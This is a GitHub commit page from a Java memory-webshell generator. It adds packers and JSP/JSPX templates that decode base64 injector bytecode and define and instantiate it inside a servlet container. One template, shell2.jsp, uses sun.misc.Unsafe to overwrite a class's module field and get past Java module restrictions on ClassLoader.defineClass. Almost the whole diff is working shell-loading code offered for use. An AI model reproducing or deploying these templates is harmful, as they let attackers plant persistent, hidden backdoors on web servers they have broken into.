Skip to content

Commit 05f78a8

Browse files
committed
feat: support defineClass JSP packers
1 parent b7880a1 commit 05f78a8

File tree

12 files changed

+176
-130
lines changed

12 files changed

+176
-130
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,9 +24,7 @@
2424
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
2525
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
2626
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
27-
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
28-
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
29-
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
27+
import com.reajason.javaweb.memshell.packer.jsp.*;
3028
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
3129
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
3230
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
@@ -68,7 +66,9 @@ public enum Packers {
6866
* JSP 打包器
6967
*/
7068
JSP(new JspPacker()),
71-
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
69+
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
70+
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
71+
BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
7272
JSPX(new JspxPacker(), JspPacker.class),
7373

7474
/**
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.reajason.javaweb.memshell.packer.jsp;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
import lombok.SneakyThrows;
6+
import org.apache.commons.io.IOUtils;
7+
8+
import java.nio.charset.Charset;
9+
import java.util.Objects;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2024/11/26
14+
*/
15+
public class BypassDefineClassJspPacker implements Packer {
16+
17+
String jspTemplate = null;
18+
19+
public BypassDefineClassJspPacker() {
20+
try {
21+
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
22+
} catch (Exception ignored) {
23+
24+
}
25+
}
26+
27+
@Override
28+
@SneakyThrows
29+
public String pack(GenerateResult generateResult) {
30+
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
31+
String injectorClassName = generateResult.getInjectorClassName();
32+
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
33+
}
34+
}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java renamed to generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,11 @@
1212
* @author ReaJason
1313
* @since 2024/11/26
1414
*/
15-
public class DefalutJspPacker implements Packer {
15+
public class ClassLoaderJspPacker implements Packer {
1616

1717
String jspTemplate = null;
1818

19-
public DefalutJspPacker() {
19+
public ClassLoaderJspPacker() {
2020
try {
2121
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
2222
} catch (Exception ignored) {
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.reajason.javaweb.memshell.packer.jsp;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
import lombok.SneakyThrows;
6+
import org.apache.commons.io.IOUtils;
7+
8+
import java.nio.charset.Charset;
9+
import java.util.Objects;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2024/11/26
14+
*/
15+
public class DefineClassJspPacker implements Packer {
16+
17+
String jspTemplate = null;
18+
19+
public DefineClassJspPacker() {
20+
try {
21+
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
22+
} catch (Exception ignored) {
23+
24+
}
25+
}
26+
27+
@Override
28+
@SneakyThrows
29+
public String pack(GenerateResult generateResult) {
30+
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
31+
String injectorClassName = generateResult.getInjectorClassName();
32+
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
33+
}
34+
}
Lines changed: 16 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,50 +1,27 @@
11
<%!
22
public static class ClassDefiner extends ClassLoader {
3-
public ClassDefiner() {
4-
super(Thread.currentThread().getContextClassLoader());
3+
public ClassDefiner(ClassLoader classLoader) {
4+
super(classLoader);
55
}
6-
7-
public byte[] decodeBase64(String bytecodeBase64) {
8-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
9-
try {
10-
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
11-
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
12-
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
13-
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
14-
} catch (Exception ee) {
15-
try {
16-
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
17-
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
18-
} catch (Exception e) {
19-
return null;
20-
}
21-
}
22-
}
23-
246
public Class<?> defineClass(byte[] code) {
257
return defineClass(null, code, 0, code.length);
268
}
27-
28-
@Override
29-
public String toString() {
30-
String className = "{{className}}";
31-
String base64Str = "{{base64Str}}";
32-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
33-
try {
34-
classLoader.loadClass(className).newInstance();
35-
} catch (Exception e) {
36-
try {
37-
byte[] bytecode = decodeBase64(base64Str);
38-
Class<?> clazz = defineClass(bytecode);
39-
clazz.newInstance();
40-
} catch (Exception ignored) {
41-
}
42-
}
43-
return className;
44-
}
459
}
4610
%>
4711

4812
<%
49-
new ClassDefiner().toString();
13+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
14+
String base64Str = "{{base64Str}}";
15+
byte[] bytecode = null;
16+
try {
17+
Class base64Clz = classLoader.loadClass("java.util.Base64");
18+
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
19+
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
20+
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
21+
} catch (ClassNotFoundException ee) {
22+
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
23+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
24+
}
25+
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
26+
clazz.newInstance();
5027
%>

generator/src/main/resources/shell.jspx

Lines changed: 16 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -3,51 +3,28 @@
33
<jsp:directive.page pageEncoding="UTF-8"/>
44
<jsp:declaration><![CDATA[
55
public static class ClassDefiner extends ClassLoader {
6-
public ClassDefiner() {
7-
super(Thread.currentThread().getContextClassLoader());
6+
public ClassDefiner(ClassLoader classLoader) {
7+
super(classLoader);
88
}
9-
10-
public byte[] decodeBase64(String bytecodeBase64) {
11-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
12-
try {
13-
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
14-
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
15-
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
16-
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
17-
} catch (Exception ee) {
18-
try {
19-
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
20-
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
21-
} catch (Exception e) {
22-
return null;
23-
}
24-
}
25-
}
26-
279
public Class<?> defineClass(byte[] code) {
2810
return defineClass(null, code, 0, code.length);
2911
}
30-
31-
@Override
32-
public String toString() {
33-
String className = "{{className}}";
34-
String base64Str = "{{base64Str}}";
35-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
36-
try {
37-
classLoader.loadClass(className).newInstance();
38-
} catch (Exception e) {
39-
try {
40-
byte[] bytecode = decodeBase64(base64Str);
41-
Class<?> clazz = defineClass(bytecode);
42-
clazz.newInstance();
43-
} catch (Exception ignored) {
44-
}
45-
}
46-
return className;
47-
}
4812
}
4913
]]></jsp:declaration>
5014
<jsp:scriptlet><![CDATA[
51-
new ClassDefiner().toString();
15+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
16+
String base64Str = "{{base64Str}}";
17+
byte[] bytecode = null;
18+
try {
19+
Class base64Clz = classLoader.loadClass("java.util.Base64");
20+
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
21+
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
22+
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
23+
} catch (ClassNotFoundException ee) {
24+
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
25+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
26+
}
27+
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
28+
clazz.newInstance();
5229
]]></jsp:scriptlet>
5330
</jsp:root>
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<%
2+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
3+
String base64Str = "{{base64Str}}";
4+
byte[] bytecode = null;
5+
try {
6+
Class base64Clz = classLoader.loadClass("java.util.Base64");
7+
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
8+
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
9+
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
10+
} catch (ClassNotFoundException e) {
11+
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
12+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
13+
}
14+
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
15+
defineClass.setAccessible(true);
16+
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
17+
clazz.newInstance();
18+
%>
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
<%@ page import="java.lang.reflect.Method" %>
2+
<%@ page import="java.lang.reflect.Field" %>
3+
<%@ page import="java.net.URLClassLoader" %>
4+
<%@ page import="java.net.URL" %><%
5+
String base64Str = "{{base64Str}}";
6+
byte[] bytecode = null;
7+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
8+
try {
9+
Class base64Clz = classLoader.loadClass("java.util.Base64");
10+
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
11+
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
12+
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
13+
} catch (ClassNotFoundException e) {
14+
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
15+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
16+
}
17+
Object unsafe = null;
18+
Object rawModule = null;
19+
long offset = 48;
20+
Method getAndSetObjectM = null;
21+
try {
22+
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
23+
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
24+
unsafeField.setAccessible(true);
25+
unsafe = unsafeField.get(null);
26+
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
27+
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
28+
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
29+
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
30+
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
31+
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
32+
} catch (Throwable ignored) {
33+
}
34+
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
35+
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
36+
defMethod.setAccessible(true);
37+
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
38+
if (getAndSetObjectM != null) {
39+
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
40+
}
41+
clazz.newInstance();
42+
%>

0 commit comments

Comments
 (0)